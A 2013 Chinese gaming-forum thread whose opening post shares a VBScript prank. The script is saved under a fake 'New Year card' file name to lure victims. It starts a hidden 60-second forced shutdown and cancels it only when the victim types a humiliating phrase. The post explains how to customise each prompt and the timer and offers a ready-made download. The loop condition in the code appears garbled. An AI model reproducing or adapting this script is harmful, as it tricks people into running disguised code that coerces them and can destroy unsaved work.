一键打卡 每日打卡 龙鳞魔堡 金豆锻造 荣誉胸章 海底寻宝 非诚勿扰 虚拟刮奖 杂货道具 好友印象 心情随笔 中华银行 家族部落 积分兑换 图片上传 图片压缩 在线翻译 在线查毒
发表新帖 回帖
No.746272
👦 梦、一凡
  

vbe整人代码

中华游戏网 cnyouw写于:中华游戏网-CNYOUW 👦会员:梦、一凡 🕘时间:2013-01-29 09:03 👀围观:7905人 💬回复:9
vbe编码整人关机,首先新建一个文本文档,复制以下代码到记事本,保存时保存成“新年贺卡.vbe”(这样就会诱引他们运行)
注:我分割线和他上面(下面)的字不用复制
==============================我分割线=================================
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.Run "cmd.exe /c shutdown -s -t 60 -c ""说我是猪,不说我是猪就60秒关你机,不信,试试···"" ", 0, True
Dim a
Do While (a "我是猪")
a = InputBox("说我是猪,就不关机,快撒,说 ""我是猪"" ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛"
Dim WSHshell
Set WSHshell = wscript.CreateObject("wscript.shell")
WSHshell.Run "cmd.exe /c shutdown -a", 0, True
MsgBox Chr(13) + Chr(13) + Chr(13) + "哈哈哈哈,一切皆有可能!"
==============================我分割线=================================
在他输入好我是猪后,有两个提示,第一个要更改,更改这一句中的“早说就行了嘛”引号不用复制,原句中引号不要动
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛"
更改第二个提示就修改引号里面的
MsgBox Chr(13) + Chr(13) + Chr(13) + "哈哈哈哈,一切皆有可能!"
修改关机时间就修改
WSHshellA.Run "cmd.exe /c shutdown -s -t 60 -c
这句中的60。(单位:秒)
修改他要打的字就修改
Do While (a "我是猪")
引号中的字
更改主窗口的提示语就更改
WSHshellA.Run "cmd.exe /c shutdown -s -t 60 -c ""说我是猪,不说我是猪就60秒关你机,不信,试试···"" ", 0, True
引号中的字
更改输入窗口的提示语就更改
a = InputBox("说我是猪,就不关机,快撒,说 ""我是猪"" ", "说不说", "不说", 8000, 7000)这一行中的
InputBox("说我是猪,就不关机,快撒,说 ""我是猪"" 
引号中的字
更改在文本框中原始有的字就修改
a = InputBox("说我是猪,就不关机,快撒,说 ""我是猪"" ", "说不说", "不说", 8000, 7000)这一行中的
"不说", 8000, 7000)
引号中的字
更改程序运行后在任务栏显示的字就修改
a = InputBox("说我是猪,就不关机,快撒,说 ""我是猪"" ", "说不说", "不说", 8000, 7000)这一行中的
"说不说",
引号里面的字
懒得更改的朋友就直接下在附件(他让你输我是猪)

最后上传几个在下做的 新建 好压 7Z 压缩文件.7z (2 K) 下载次数:3

中华游戏网 cnyouw.cn中华游戏网 cnyouw
SIGNATURE
永远不要歧视疯子...它只是和你的世界观不同而已.............
  
本帖评分记录: 共1条   [总计: 铜币+1 ]  [删除 我的评分记录]

2013-01-29 09:16※一凡※ 铜币 +1
很复杂?
SIGNATURE
No.602076
👹 littlexiao
  
看得明白,不错
SIGNATURE
中华游戏网 — 玩你所玩,乐你所乐!cnyouw.cn
  
看不懂 好像比火星文还要难
SIGNATURE
平胸穷三代,腰粗毁一生。 脸大不是病,腿粗要人命。
No.283456
👹 tangxingyong
  
后面的是干啥用的
SIGNATURE
中华游戏网 — 玩你所玩,乐你所乐!cnyouw.cn
No.785661
👦 洛天依
  
老物,以前玩过
SIGNATURE
No.386018
👹 840045850
  
太长没看
SIGNATURE
中华游戏网 — 玩你所玩,乐你所乐!cnyouw.cn
No.788523
👦 wu1013
  
中华游戏网不能没有像楼主这样的人才[懒人回复]
SIGNATURE
寒暄
No.1011
👹 雪月华
  
本帖评分记录: 共2条   [总计: 龙鳞+1 铜币+1 ]  [删除 我的评分记录]

2013-01-29 15:43🧙cnyouw魔法师🪄BUFF加成:龙鳞+1.0
今日发帖冠军特权奖励,我是冠军求超越~~~来嘛~~
2013-01-29 15:43🧙cnyouw魔法师🪄BUFF加成:铜币+1
[购]仙族铜币胸章连合[购]仙族龙鳞胸章发帖获得特殊奖励
SIGNATURE
私はあなたの願いの化身を魔   
快速回复
验证问题:
我们网站的域名是什么? 正确答案:

Ctrl + Enter 快速发布

🤪为防止个别捣乱会员恶意灌水
注册会员发帖量达到 20
即可解锁快捷表情发送